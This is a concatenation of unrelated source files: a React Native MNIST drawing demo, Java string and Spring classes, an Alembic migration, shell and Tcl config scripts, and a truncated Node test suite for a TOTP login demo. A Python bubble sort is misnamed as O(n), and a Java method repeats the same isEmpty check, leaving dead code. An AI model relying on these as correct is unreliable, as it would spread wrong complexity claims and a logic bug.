* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import {useIsFocused} from '@react-navigation/native';
import React, {
useCallback,
useLayoutEffect,
useState,
useMemo,
useRef,
} from 'react';
import {StyleSheet, LayoutRectangle, Text, View} from 'react-native';
import {
Canvas,
CanvasRenderingContext2D,
Image,
ImageUtil,
media,
MobileModel,
Module,
Tensor,
torch,
torchvision,
} from 'react-native-pytorch-core';
import {Animator} from '../utils/Animator';
import {
PTLColors as colors,
PTLFontSizes as fontsizes,
} from '../components/UISettings';
import ModelPreloader from '../components/ModelPreloader';
import {MultiClassClassificationModels} from '../Models';
// Must be specified as hex to be parsed correctly.
const COLOR_CANVAS_BACKGROUND = colors.light;
const COLOR_TRAIL_STROKE = colors.accent2;
let mnistModel: Module | null = null;
async function getModel() {
if (mnistModel != null) {
return mnistModel;
}
const filePath = await MobileModel.download(
MultiClassClassificationModels[0].model,
);
mnistModel = await torch.jit._loadForMobile(filePath);
return mnistModel;
}
const HEX_RGB_RE = /^#?([a-f0-9]{2})([a-f0-9]{2})([a-f0-9]{2})$/i;
function hexRgbToBytes(hexRgb: string): number[] {
const match = HEX_RGB_RE.exec(hexRgb);
if (!match) {
throw `Invalid color hex string: ${hexRgb}`;
}
return match.slice(1).map(s => parseInt(s, 16));
}
/*
Tensor input is expected to have shape CHW and range [0, 1].
This is a vectorized version of looping over every pixel:
d0 = colorCartesianDistance(pixelColor, backgroundColor)
d1 = colorCartesianDistance(pixelColor, foregroundColor)
value = d0 / (d0 + d1)
Where, for 3-channel data:
colorCartesianDistance = function([r0, g0, b0], [r1, g1, b1]) => (
Math.sqrt((r0 - r1) * (r0 - r1) + (g0 - g1) * (g0 - g1) + (b0 - b1) * (b0 - b1))
);
*/
function maximizeContrast(
tensor: Tensor,
backgroundTensor: Tensor,
foregroundTensor: Tensor,
): Tensor {
const d0Diff = tensor.sub(backgroundTensor);
const d0 = d0Diff.mul(d0Diff).sum(0, {keepdim: true}).sqrt();
const d1Diff = tensor.sub(foregroundTensor);
const d1 = d1Diff.mul(d1Diff).sum(0, {keepdim: true}).sqrt();
return d0.div(d0.add(d1));
}
/**
* The React hook provides MNIST model inference on an input image.
*/
function useMNISTModel() {
const processImage = useCallback(async (image: Image) => {
// Runs model inference on input image
const blob = media.toBlob(image);
const imageTensor = torch.fromBlob(blob, [
image.getHeight(),
image.getWidth(),
3,
]);
const grayscale = torchvision.transforms.grayscale();
const resize = torchvision.transforms.resize(28);
const normalize = torchvision.transforms.normalize([0.1307], [0.3081]);
const bgColorGrayscale = grayscale(
torch
.tensor([[hexRgbToBytes(COLOR_CANVAS_BACKGROUND)]])
.permute([2, 0, 1])
.div(255),
);
const fgColorGrayscale = grayscale(
torch
.tensor([[hexRgbToBytes(COLOR_TRAIL_STROKE)]])
.permute([2, 0, 1])
.div(255),
);
let tensor = imageTensor.permute([2, 0, 1]).div(255);
tensor = resize(tensor);
tensor = grayscale(tensor);
tensor = maximizeContrast(tensor, bgColorGrayscale, fgColorGrayscale);
tensor = normalize(tensor);
tensor = tensor.unsqueeze(0);
const model = await getModel();
const output = await model.forward<Tensor, Tensor[]>(tensor);
const softmax = output[0].squeeze(0).softmax(-1);
const sortedScore: number[][] = [];
softmax
.data()
.forEach((score: number, index: number) =>
sortedScore.push([score, index]),
);
return sortedScore.sort((a, b) => b[0] - a[0]);
}, []);
return {
processImage,
};
}
/**
* The React hook provides MNIST inference using the image data extracted from
* a canvas.
*
* @param layout The layout for the canvas
*/
function useMNISTCanvasInference(layout: LayoutRectangle | null) {
const [result, setResult] = useState<number[][]>();
const isRunningInferenceRef = useRef(false);
const {processImage} = useMNISTModel();
const classify = useCallback(
async (ctx: CanvasRenderingContext2D, forceRun: boolean = false) => {
// Return immediately if layout is not available or if an inference is
// already in-flight. Ignore in-flight inference if `forceRun` is set to
// true.
if (layout === null || (isRunningInferenceRef.current && !forceRun)) {
return;
}
// Set inference running if not force run
if (!forceRun) {
isRunningInferenceRef.current = true;
}
// Get canvas size
const size = [layout.width, layout.height];
// Get image data center crop
const imageData = await ctx.getImageData(
0,
size[1] / 2 - size[0] / 2,
size[0],
size[0],
);
// Convert image data to image.
const image: Image = await ImageUtil.fromImageData(imageData);
// Release image data to free memory
imageData.release();
// Run MNIST inference on the image
const result = await processImage(image);
// Release image to free memory
image.release();
// Set result state to force re-render of component that uses this hook
setResult(result);
// If not force run, add a little timeout to give device time to process
// other things
if (!forceRun) {
setTimeout(() => {
isRunningInferenceRef.current = false;
}, 100);
}
},
[isRunningInferenceRef, layout, processImage, setResult],
);
return {
result,
classify,
};
}
// This is an example of creating a simple animation using Animator utility class
export default function MNISTExample() {
const isFocused = useIsFocused();
// `layout` contains canvas properties like width and height
const [layout, setLayout] = useState<LayoutRectangle | null>(null);
// `ctx` is drawing context to draw shapes
const [ctx, setCtx] = useState<CanvasRenderingContext2D>();
const [drawing, setDrawing] = useState<number[][]>([]);
const {classify, result} = useMNISTCanvasInference(layout);
// useRef is the React way of storing mutable variable
const drawingRef = useRef(false);
const showingRef = useRef(false);
const trailRef = useRef<number[][]>([]);
// handlers for touch events
const handleMove = useCallback(
async event => {
const position = [
event.nativeEvent.locationX,
event.nativeEvent.locationY,
];
const trail = trailRef.current;
if (trail.length > 0) {
const lastPosition: number[] = trail[trail.length - 1];
const dx = position[0] - lastPosition[0];
const dy = position[1] - lastPosition[1];
// add a point to trail if distance from last point > 5
if (dx * dx + dy * dy > 25) {
trail.push(position);
}
} else {
trail.push(position);
}
},
[trailRef],
);
const handleStart = useCallback(() => {
drawingRef.current = true;
showingRef.current = false;
}, [drawingRef]);
const handleEnd = useCallback(() => {
if (ctx != null) {
drawingRef.current = false;
// Wait for the canvas drawing to center on screen first before classifying
setTimeout(async () => {
await classify(ctx, true);
showingRef.current = true;
}, 100);
}
}, [ctx, classify]);
// Instantiate an Animator. `useMemo` is used for React optimization.
const animator = useMemo(() => new Animator(), []);
const numToLabel = (num: number, choice: number = 0) => {
const labels = [
['zero', '零', '🄌', 'cero'],
['one', '一', '➊', 'uno'],
['two', '二', '➋', 'dos'],
['three', '三', '➌', 'tres'],
['four', '四', '➍', 'cuatro'],
['five', '五', '➎', 'cinco'],
['six', '六', '➏', 'seis'],
['seven', '七', '➐', 'siete'],
['eight', '八', '➑', 'ocho'],
['nine', '九', '➒', 'nueve'],
];
const index = Math.max(0, Math.min(9, num || 0));
return labels[index][choice];
};
const theme = colors.accent2;
useLayoutEffect(() => {
if (ctx != null) {
animator.start(() => {
const trail = trailRef.current;
if (trail != null) {
// Here we use `layout` to get the canvas size
const size = [layout?.width || 0, layout?.height || 0];
// clear previous canvas drawing and then redraw
// fill background by drawing a rect
ctx.fillStyle = theme;
ctx.fillRect(0, 0, size[0], size[1]);
ctx.fillStyle = COLOR_CANVAS_BACKGROUND;
ctx.fillRect(0, size[1] / 2 - size[0] / 2, size[0], size[0]);
// Draw text when there's no drawing
if (result && trail.length === 0) {
}
// Draw border
ctx.strokeStyle = theme;
const borderWidth = Math.max(0, 15 - trail.length);
ctx.lineWidth = borderWidth;
ctx.strokeRect(
borderWidth / 2,
size[1] / 2 - size[0] / 2,
size[0] - borderWidth,
size[0],
);
// Draw the trails
ctx.lineWidth = 32;
ctx.lineJoin = 'round';
ctx.lineCap = 'round';
ctx.miterLimit = 1;
ctx.strokeStyle = COLOR_TRAIL_STROKE;
if (drawing.length > 0) {
// ctx.strokeStyle = colors.accent2;
ctx.beginPath();
ctx.moveTo(drawing[0][0], drawing[0][1]);
for (let i = 1; i < drawing.length; i++) {
ctx.lineTo(drawing[i][0], drawing[i][1]);
}
}
if (trail.length > 0) {
// ctx.strokeStyle = colors.dark;
ctx.beginPath();
ctx.moveTo(trail[0][0], trail[0][1]);
for (let i = 1; i < trail.length; i++) {
ctx.lineTo(trail[i][0], trail[i][1]);
}
}
ctx.stroke();
// When the drawing is done
if (!drawingRef.current && trail.length > 0) {
// Before classifying, move the drawing to the center for better accuracy
if (!showingRef.current) {
const centroid = trail.reduce(
(prev, curr) => [prev[0] + curr[0], prev[1] + curr[1]],
[0, 0],
);
centroid[0] /= trail.length;
centroid[1] /= trail.length;
const offset = [
centroid[0] - size[0] / 2,
centroid[1] - size[1] / 2,
];
if (
Math.max(Math.abs(offset[0]), Math.abs(offset[1])) >
size[0] / 8
) {
for (let i = 0; i < trail.length; i++) {
trail[i][0] -= offset[0];
trail[i][1] -= offset[1];
}
}
setDrawing(trail.slice());
// After classifying, remove the trail with a little animation
} else {
// Shrink trail in a logarithmic size each animation frame
trail.splice(0, Math.max(Math.round(Math.log(trail.length)), 1));
}
}
// Need to include this at the end, for now.
ctx.invalidate();
}
});
}
// Stop animator when exiting (unmount)
return () => animator.stop();
}, [
animator,
ctx,
drawingRef,
showingRef,
layout,
trailRef,
result,
drawing,
]); // update only when layout or context changes
if (!isFocused) {
return null;
}
return (
<ModelPreloader modelInfos={MultiClassClassificationModels}>
<Canvas
style={StyleSheet.absoluteFill}
onContext2D={setCtx}
onLayout={event => {
const {layout} = event.nativeEvent;
setLayout(layout);
}}
onTouchMove={handleMove}
onTouchStart={handleStart}
onTouchEnd={handleEnd}
/>
<View style={styles.instruction}>
<Text style={styles.title}>Write a number</Text>
</View>
<View style={[styles.resultView]} pointerEvents="none">
<Text style={[styles.label]}>
{result
? `${numToLabel(result[0][1], 2)} it looks like ${numToLabel(
result[0][1],
0,
)}`
: ''}
</Text>
<Text style={[styles.label, styles.secondary]}>
{result
? `${numToLabel(result[1][1], 2)} it can be ${numToLabel(
result[1][1],
0,
)} too`
: ''}
</Text>
</View>
</ModelPreloader>
);
}
const styles = StyleSheet.create({
resultView: {
position: 'absolute',
bottom: 0,
flexDirection: 'column',
padding: 15,
},
resultHidden: {
opacity: 0,
},
result: {
fontSize: 100,
color: '#4f25c6',
},
instruction: {
alignSelf: 'flex-start',
flexDirection: 'column',
padding: 15,
},
title: {
fontSize: fontsizes.h1,
fontWeight: 'bold',
color: colors.dark,
},
label: {
fontSize: fontsizes.h3,
color: colors.white,
},
secondary: {
color: '#ffffff99',
},
});
|
package com.java.study.offer.chapter4;
import com.alibaba.fastjson.JSONArray;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.Objects;
import java.util.stream.Collectors;
public class StringBufferReplaceBlank {
public static void main(String[] args) {
// System.out.println(replaceBlankUseArray("we are"));
Character[] characters = new Character[18];
String str = "B CAA";
for (int i = 0; i < str.length(); i++) {
characters[i] = str.charAt(i);
}
Character[] tempChar = endToStartRepalce(characters);
System.out.println(JSONArray.toJSONString(tempChar));
List<String> list = new ArrayList<>();
list.add("1");
list.add("2");
list.stream().filter(st -> Objects.equals("1",st)).collect(Collectors.toList());
}
private static Character[] endToStartRepalce(Character[] targetCharacters) {
if (Objects.isNull(targetCharacters) || targetCharacters.length == 0) {
return null;
}
int originStrLength = 0;
//统计空格数量
int blankCount = 0;
for (Character targetCharacter : targetCharacters) {
if (Objects.isNull(targetCharacter)) {
break;
}
originStrLength++;
if (Objects.equals(targetCharacter, ' ')) {
blankCount++;
}
}
int targetLength = originStrLength + 2 * blankCount;
//说明无空格
if (targetLength == originStrLength) {
return targetCharacters;
}
int targetEndIndex = targetLength - 1;
for (int index = originStrLength - 1; index >= 0 && index < targetEndIndex; index--) {
Character character = targetCharacters[index];
if (!Objects.equals(character, ' ')) {
targetCharacters[targetEndIndex] = character;
} else {
targetCharacters[targetEndIndex] = '0';
targetCharacters[--targetEndIndex] = '2';
targetCharacters[--targetEndIndex] = '%';
}
targetEndIndex--;
}
return targetCharacters;
}
private static Character[] replaceArrayBlank(Character[] targetCharacters) {
if (Objects.isNull(targetCharacters) || targetCharacters.length == 0) {
return null;
}
int originStrLength = 0;
//统计空格数量
int blankCount = 0;
for (Character targetCharacter : targetCharacters) {
if (Objects.isNull(targetCharacter)) {
break;
}
originStrLength++;
if (Objects.equals(targetCharacter, ' ')) {
blankCount++;
}
}
int targetLength = originStrLength + 2 * blankCount;
//说明无空格
if (targetLength == originStrLength) {
return targetCharacters;
}
//原始数组不能进行完成替换
if (targetLength > targetCharacters.length) {
return null;
}
//已经处理的空格数量
int handleCount = 0;
for (int index = 0; index < targetLength; index++) {
//如果已经处理的空格数量与统计的空格数量一致,已经不需要进行处理
if (handleCount == blankCount) {
break;
}
Character character = targetCharacters[index];
if (Objects.isNull(character)) {
break;
}
if (!Objects.equals(character, ' ')) {
continue;
}
//不为空字符最后位置
int originEndIndex = originStrLength + handleCount * 2 - 1;
//向后移动两位
for (int i = originEndIndex; i > index; i--) {
targetCharacters[i + 2] = targetCharacters[i];
}
targetCharacters[index] = '%';
targetCharacters[++index] = '2';
targetCharacters[++index] = '0';
handleCount++;
}
return targetCharacters;
}
private static String replaceBlankUseArray(String originStr) {
if (Objects.isNull(originStr) || originStr.length() == 0) {
return null;
}
int originLength = originStr.length();
int blankCount = 0;
for (int index = 0; index < originLength; index++) {
Character indexCharacter = originStr.charAt(index);
if (Objects.equals(indexCharacter, ' ')) {
blankCount++;
}
}
int newLength = originLength + blankCount * 2;
char[] newStrArray = new char[newLength];
int newStrStartIndex = 0;
for (int index = 0; index < originLength; index++) {
char indexCharacter = originStr.charAt(index);
if (indexCharacter != ' ') {
newStrArray[newStrStartIndex] = indexCharacter;
} else {
newStrArray[newStrStartIndex] = '%';
newStrArray[++newStrStartIndex] = '2';
newStrArray[++newStrStartIndex] = '0';
}
//新数组复制完之后,指向下一个需要处理的位置
newStrStartIndex++;
}
return new String(newStrArray);
}
private static String replaceBlank(String originStr) {
if (Objects.isNull(originStr) || originStr.length() == 0) {
return null;
}
StringBuilder builder = new StringBuilder();
int length = originStr.length();
for (int index = 0; index < length; index++) {
Character character = originStr.charAt(index);
if (!Objects.equals(character, ' ')) {
builder.append(character);
} else {
builder.append("%").append("20");
}
}
return builder.toString();
}
}
|
def sort_list_in_O_n(lst):
n = len(lst)
for i in range(n-1):
for j in range(0, n-i-1):
if lst[j] > lst[j+1] :
lst[j], lst[j+1] = lst[j+1], lst[j] |
/**
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at:
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.metis.cassandra;
import java.util.ArrayList;
import java.util.Collections;
import java.util.Comparator;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
import java.util.HashMap;
import java.util.Properties;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.BeansException;
import org.springframework.util.AntPathMatcher;
import org.springframework.util.Assert;
import org.springframework.util.CollectionUtils;
import org.springframework.util.PathMatcher;
import org.springframework.context.support.ApplicationObjectSupport;
/**
* This class is defined in the application context. The CassandraComponent
* class looks for this object in the application context and uses it to find a
* suitable Client for a given URI's context-path.
*
* @author jfernandez
*
*/
public class ClientMapper extends ApplicationObjectSupport {
// This component's logger
private static final Logger LOG = LoggerFactory
.getLogger(ClientMapper.class);
private final Map<String, Object> urlMap = new HashMap<String, Object>();
// we're using ant-style pattern matching
private PathMatcher pathMatcher = new AntPathMatcher();
private Object defaultHandler;
private Object rootHandler;
private boolean lazyInitHandlers = false;
private final Map<String, Object> handlerMap = new LinkedHashMap<String, Object>();
public ClientMapper() {
}
/**
* Return the registered handlers as an unmodifiable Map, with the
* registered path as key and the handler object (or handler bean name in
* case of a lazy-init handler) as value.
*
* @see #getDefaultHandler()
*/
public final Map<String, Object> getHandlerMap() {
return Collections.unmodifiableMap(this.handlerMap);
}
/**
* Set the PathMatcher implementation to use for matching URL paths against
* registered URL patterns. Default is AntPathMatcher.
*
* @see org.springframework.util.AntPathMatcher
*/
public void setPathMatcher(PathMatcher pathMatcher) {
Assert.notNull(pathMatcher, "PathMatcher must not be null");
this.pathMatcher = pathMatcher;
}
/**
* Return the PathMatcher implementation to use for matching URL paths
* against registered URL patterns.
*/
public PathMatcher getPathMatcher() {
return this.pathMatcher;
}
/**
* Set the root handler for this handler mapping, that is, the handler to be
* registered for the root path ("/").
* <p>
* Default is <code>null</code>, indicating no root handler.
*/
public void setRootHandler(Object rootHandler) {
this.rootHandler = rootHandler;
}
/**
* Return the root handler for this handler mapping (registered for "/"), or
* <code>null</code> if none.
*/
public Object getRootHandler() {
return this.rootHandler;
}
/**
* Set the default handler for this handler mapping. This handler will be
* returned if no specific mapping was found.
* <p>
* Default is <code>null</code>, indicating no default handler.
*/
public void setDefaultHandler(Object defaultHandler) {
this.defaultHandler = defaultHandler;
}
/**
* Return the default handler for this handler mapping, or <code>null</code>
* if none.
*/
public Object getDefaultHandler() {
return this.defaultHandler;
}
/**
* Set whether to lazily initialize handlers. Only applicable to singleton
* handlers, as prototypes are always lazily initialized. Default is
* "false", as eager initialization allows for more efficiency through
* referencing the controller objects directly.
* <p>
* If you want to allow your controllers to be lazily initialized, make them
* "lazy-init" and set this flag to true. Just making them "lazy-init" will
* not work, as they are initialized through the references from the handler
* mapping in this case.
*/
public void setLazyInitHandlers(boolean lazyInitHandlers) {
this.lazyInitHandlers = lazyInitHandlers;
}
/**
* Map URL paths to handler bean names. This is the typical way of
* configuring this HandlerMapping.
* <p>
* Supports direct URL matches and Ant-style pattern matches. For syntax
* details, see the {@link org.springframework.util.AntPathMatcher} javadoc.
*
* @param mappings
* properties with URLs as keys and bean names as values
* @see #setUrlMap
*/
public void setMappings(Properties mappings) {
CollectionUtils.mergePropertiesIntoMap(mappings, this.urlMap);
}
/**
* Set a Map with URL paths as keys and handler beans (or handler bean
* names) as values. Convenient for population with bean references.
* <p>
* Supports direct URL matches and Ant-style pattern matches. For syntax
* details, see the {@link org.springframework.util.AntPathMatcher} javadoc.
*
* @param urlMap
* map with URLs as keys and beans as values
* @see #setMappings
*/
public void setUrlMap(Map<String, ?> urlMap) {
this.urlMap.putAll(urlMap);
}
/**
* Allow Map access to the URL path mappings, with the option to add or
* override specific entries.
* <p>
* Useful for specifying entries directly, for example via "urlMap[myKey]".
* This is particularly useful for adding or overriding entries in child
* bean definitions.
*/
public Map<String, ?> getUrlMap() {
return this.urlMap;
}
/**
* Calls the {@link #registerHandlers} method in addition to the
* superclass's initialization.
*/
@Override
public void initApplicationContext() throws BeansException {
registerHandlers(this.urlMap);
}
/**
* Register all handlers specified in the URL map for the corresponding
* paths.
*
* @param urlMap
* Map with URL paths as keys and handler beans or bean names as
* values
* @throws BeansException
* if a handler couldn't be registered
* @throws IllegalStateException
* if there is a conflicting handler registered
*/
protected void registerHandlers(Map<String, Object> urlMap)
throws BeansException, NullPointerException {
if (urlMap.isEmpty()) {
throw new NullPointerException("urlMap is null");
} else if (urlMap.isEmpty()) {
logger.warn("Neither 'urlMap' nor 'mappings' set on TopendRdbMapper");
} else {
for (Map.Entry<String, Object> entry : urlMap.entrySet()) {
String url = entry.getKey();
Object handler = entry.getValue();
// Prepend with slash if not already present.
if (!url.startsWith("/")) {
url = "/" + url;
}
// Remove whitespace from handler bean name.
if (handler instanceof String) {
handler = ((String) handler).trim();
}
registerHandler(url, handler);
}
}
}
/**
* Register the specified handler for the given URL paths.
*
* @param urlPaths
* the URLs that the bean should be mapped to
* @param beanName
* the name of the handler bean
* @throws BeansException
* if the handler couldn't be registered
* @throws IllegalStateException
* if there is a conflicting handler registered
*/
protected void registerHandler(String[] urlPaths, String beanName)
throws BeansException, IllegalStateException, NullPointerException {
if (urlPaths == null) {
throw new NullPointerException("urlPaths is null");
} else if (beanName == null) {
throw new NullPointerException("beanName is null");
}
for (String urlPath : urlPaths) {
registerHandler(urlPath, beanName);
}
}
/**
* Register the specified handler for the given URL path.
*
* @param urlPath
* the URL the bean should be mapped to
* @param handler
* the handler instance or handler bean name String (a bean name
* will automatically be resolved into the corresponding handler
* bean)
* @throws BeansException
* if the handler couldn't be registered
* @throws IllegalStateException
* if there is a conflicting handler registered
*/
protected void registerHandler(String urlPath, Object handler)
throws BeansException, IllegalStateException {
Assert.notNull(urlPath, "URL path must not be null");
Assert.notNull(handler, "Handler object must not be null");
Object resolvedHandler = handler;
// Eagerly resolve handler if referencing singleton via name.
if (!this.lazyInitHandlers && handler instanceof String) {
String handlerName = (String) handler;
if (getApplicationContext().isSingleton(handlerName)) {
resolvedHandler = getApplicationContext().getBean(handlerName);
}
}
Object mappedHandler = this.handlerMap.get(urlPath);
if (mappedHandler != null) {
if (mappedHandler != resolvedHandler) {
throw new IllegalStateException("Cannot map "
+ getHandlerDescription(handler) + " to URL path ["
+ urlPath + "]: There is already "
+ getHandlerDescription(mappedHandler) + " mapped.");
}
} else {
if (urlPath.equals("/")) {
if (LOG.isInfoEnabled()) {
LOG.info("Root mapping to "
+ getHandlerDescription(handler));
}
setRootHandler(resolvedHandler);
} else if (urlPath.equals("/*")) {
if (LOG.isInfoEnabled()) {
LOG.info("Default mapping to "
+ getHandlerDescription(handler));
}
setDefaultHandler(resolvedHandler);
} else {
this.handlerMap.put(urlPath, resolvedHandler);
if (LOG.isInfoEnabled()) {
LOG.info("Mapped URL path [" + urlPath + "] onto "
+ getHandlerDescription(handler));
}
}
}
}
/**
* Look up a TopendResourceBean (handler) instance for the given URL path.
* <p>
* A handler supports direct matches, e.g. a registered "/test" matches
* "/test", and various Ant-style pattern matches, e.g. a registered "/t*"
* matches both "/test" and "/team". For details, see the AntPathMatcher
* class.
* <p>
* Looks for the most exact pattern, where most exact is defined as the
* longest path pattern.
*
* @param urlPath
* URL the bean is mapped to
* @return the associated handler instance, or <code>null</code> if not
* found
* @see #exposePathWithinMapping
* @see org.springframework.util.AntPathMatcher
*/
protected Object lookupHandler(String urlPath) throws Exception {
if (LOG.isTraceEnabled()) {
LOG.trace("lookupHandler: context path = " + urlPath);
}
// See if we have a direct match
Object handler = getHandlerMap().get(urlPath);
if (handler != null) {
// Bean name or resolved handler?
if (handler instanceof String) {
String handlerName = (String) handler;
handler = getApplicationContext().getBean(handlerName);
}
if (LOG.isTraceEnabled()) {
LOG.trace("lookupHandler: direct find");
}
return handler;
}
// No direct match, look for a pattern match
List<String> matchingPatterns = new ArrayList<String>();
for (String registeredPattern : getHandlerMap().keySet()) {
if (getPathMatcher().match(registeredPattern, urlPath)) {
matchingPatterns.add(registeredPattern);
}
}
if (LOG.isTraceEnabled()) {
LOG.trace("lookupHandler: found this many matching patterns = "
+ matchingPatterns.size());
}
String bestPatternMatch = null;
Comparator<String> patternComparator = getPathMatcher()
.getPatternComparator(urlPath);
if (!matchingPatterns.isEmpty()) {
Collections.sort(matchingPatterns, patternComparator);
if (LOG.isTraceEnabled()) {
LOG.trace("Matching patterns for request [" + urlPath
+ "] are " + matchingPatterns);
}
bestPatternMatch = matchingPatterns.get(0);
}
if (bestPatternMatch != null) {
handler = this.getHandlerMap().get(bestPatternMatch);
// Bean name or resolved handler?
if (handler instanceof String) {
String handlerName = (String) handler;
handler = getApplicationContext().getBean(handlerName);
}
return handler;
}
// No handler found...
return null;
}
private String getHandlerDescription(Object handler) {
return "handler "
+ (handler instanceof String ? "'" + handler + "'"
: "of type [" + handler.getClass() + "]");
}
}
|
<gh_stars>0
"""update naming
Revision ID: <KEY>
Revises: 70be79cf09ae
Create Date: 2022-03-06 23:37:49.725313
"""
from alembic import op
import sqlalchemy as sa
# revision identifiers, used by Alembic.
revision = '<KEY>'
down_revision = '70be79cf09ae'
branch_labels = None
depends_on = None
def upgrade():
# ### commands auto generated by Alembic - please adjust! ###
op.add_column('comments', sa.Column('comment', sa.String(), nullable=True))
op.drop_column('comments', 'pitch_comment')
# ### end Alembic commands ###
def downgrade():
# ### commands auto generated by Alembic - please adjust! ###
op.add_column('comments', sa.Column('pitch_comment', sa.VARCHAR(), autoincrement=False, nullable=True))
op.drop_column('comments', 'comment')
# ### end Alembic commands ###
|
#!/bin/bash
npm run build
mkdir deploy
cp index.html deploy/
cp -r dist deploy/
cp -r styles deploy/
cp -r assets deploy/
|
package no.nav.tag.kontaktskjema.gsak;
import org.springframework.data.repository.CrudRepository;
public interface GsakOppgaveRepository extends CrudRepository<GsakOppgave, Integer> {
}
|
# tclooConfig.sh --
#
# This shell script (for sh) is generated automatically by TclOO's configure
# script, or would be except it has no values that we substitute. It will
# create shell variables for most of the configuration options discovered by
# the configure script. This script is intended to be included by TEA-based
# configure scripts for TclOO extensions so that they don't have to figure
# this all out for themselves.
#
# The information in this file is specific to a single platform.
# These are mostly empty because no special steps are ever needed from Tcl 8.6
# onwards; all libraries and include files are just part of Tcl.
TCLOO_LIB_SPEC=""
TCLOO_STUB_LIB_SPEC=""
TCLOO_INCLUDE_SPEC=""
TCLOO_PRIVATE_INCLUDE_SPEC=""
TCLOO_CFLAGS=""
TCLOO_VERSION=1.1.0
|
'use strict';
require('./mock-twilio');
var expect = require('chai').expect
, supertest = require('supertest-session')
, cheerio = require('cheerio')
, users = require('../users-data.json')
, User = require('../models/user')
, app = require('../app')
, totp = require('../lib/totp');
var testSession = null;
require('./spec-helper');
beforeEach(() => {
testSession = supertest(app);
});
// remove/add users
beforeEach((done) => {
User.remove({}, () => {
User.create(users, (err, result) => {
done();
});
});
});
describe('default route', () => {
describe('GET /', () => {
it('responds with 200 OK', (done) => {
testSession.get('/')
.expect((res) => {
var $ = cheerio.load(res.text);
expect($('.well div h1').text()).to.equal('Don\'t have an account?');
expect($('button.btn').text()).to.equal('Log in');
expect($('a.btn').text()).to.contain('Sign up');
var text = 'This is a demonstration of how to add TOTP based ' +
'Two-Factor Authentication to an existing application.';
expect($('.span6 div').first().text()).to.equal(text);
})
.expect(200, done);
});
});
});
describe('sign in', () => {
describe('with bad password', () => {
it('responds with alert Incorrect Username or Password', (done) => {
testSession
.post('/')
.send({
username: 'user',
password: '<PASSWORD>'
})
.end((err, res) => {
expect(res.statusCode).to.equal(200);
var $ = cheerio.load(res.text);
expect($('.alert.alert-error').text()).to.contain('Incorrect Username or Password');
done();
});
});
});
describe('with bad user', () => {
it('responds with alert Incorrect Username or Password', (done) => {
testSession
.post('/')
.send({
username: 'baduser',
password: 'password'
})
.end((err, res) => {
expect(res.statusCode).to.equal(200);
var $ = cheerio.load(res.text);
expect($('.alert.alert-error').text()).to.contain('Incorrect Username or Password');
done();
});
});
});
describe('with bad user and bad password', () => {
it('responds with alert Incorrect Username or Password', (done) => {
testSession
.post('/')
.send({
username: 'baduser',
password: '<PASSWORD>'
})
.end((err, res) => {
expect(res.statusCode).to.equal(200);
var $ = cheerio.load(res.text);
expect($('.alert.alert-error').text()).to.contain('Incorrect Username or Password');
done();
});
});
});
describe('with correct user and password', () => {
it('responds with You are logged in', (done) => {
testSession
.post('/')
.send({
username: 'user',
password: 'password'
})
.end((err, res) => {
expect(res.statusCode).to.equal(302);
expect(res.header.location).to.equal('/user/');
done();
});
});
});
describe('with correct user (case insensitive) and password', () => {
it('responds with You are logged in', (done) => {
testSession
.post('/')
.send({
username: 'UsEr',
password: 'password'
})
.end((err, res) => {
expect(res.statusCode).to.equal(302);
expect(res.header.location).to.equal('/user/');
done();
});
});
});
describe('with sms enabled', () => {
it('responds with "Verify TFA" page', (done) => {
testSession
.post('/')
.send({
username: 'user.app_no.sms_yes',
password: 'password'
})
.end((err, res) => {
expect(res.statusCode).to.equal(302);
expect(res.header.location).to.equal('/verify-tfa/');
done();
});
});
});
});
describe('sign up', () => {
describe('with passwords not matching', () => {
it('responds with "Passwords do not match" message', (done) => {
testSession
.post('/sign-up/')
.send({
username: 'newuser',
password1: 'password',
password2: '<PASSWORD>'
})
.end((err, res) => {
expect(res.statusCode).to.equal(200);
var $ = cheerio.load(res.text);
expect($('.alert.alert-error').text()).to.contain('Passwords do not match');
done();
});
});
});
describe('with correct user and password', () => {
it('redirects to "/user/"', (done) => {
testSession
.post('/sign-up/')
.send({
username: 'newuser',
password1: 'password',
password2: 'password'
})
.end((err, res) => {
expect(res.statusCode).to.equal(302);
expect(res.header.location).to.equal('/user/');
done();
});
});
});
describe('with username that already exists', () => {
it('redirects to "/user/"', (done) => {
testSession
.post('/sign-up/')
.send({
username: 'user2',
password1: 'password',
password2: 'password'
})
.end((err, res) => {
expect(res.statusCode).to.equal(200);
var $ = cheerio.load(res.text);
expect($('.alert.alert-error').text()).to.contain('That username is already in use');
done();
});
});
});
describe('with username (case insensitive) that already exists', () => {
it('redirects to "/user/"', (done) => {
testSession
.post('/sign-up/')
.send({
username: 'UsEr2',
password1: 'password',
password2: 'password'
})
.end((err, res) => {
expect(res.statusCode).to.equal(200);
var $ = cheerio.load(res.text);
expect($('.alert.alert-error').text()).to.contain('That username is already in use');
done();
});
});
});
});
describe('sign in', () => {
describe('when I access /user/ after sign in', () => {
it('responds with enable buttons', (done) => {
testSession
.post('/')
.send({
username: 'user',
password: 'password'
})
.end((err, res) => {
testSession.get(res.header.location)
.end((err2, res2) => {
var $ = cheerio.load(res2.text);
expect($('a.btn').eq(0).text()).to.contain('Enable app based authentication');
expect($('a.btn').eq(1).text()).to.contain('Enable SMS based authentication');
expect($('ul.nav li a').eq(1).text()).to.contain('Log out');
done();
});
});
});
});
describe('when I access /user/ after sign in with app-> false, sms->false', () => {
it('responds with you are logged in', (done) => {
testSession
.post('/')
.send({
username: 'user.app_no.sms_no',
password: 'password'
})
.end((err, res) => {
testSession.get(res.header.location)
.end((err2, res2) => {
var $ = cheerio.load(res2.text);
expect($('.container div h1').text()).to.contain('You are logged in');
done();
});
});
});
});
describe('when I access sign in with app-> yes, sms->false', () => {
it('redirects to /verify-tfa/ page with google authenticator', (done) => {
testSession
.post('/')
.send({
username: 'user.app_yes.sms_no',
password: 'password'
})
.end((err, res) => {
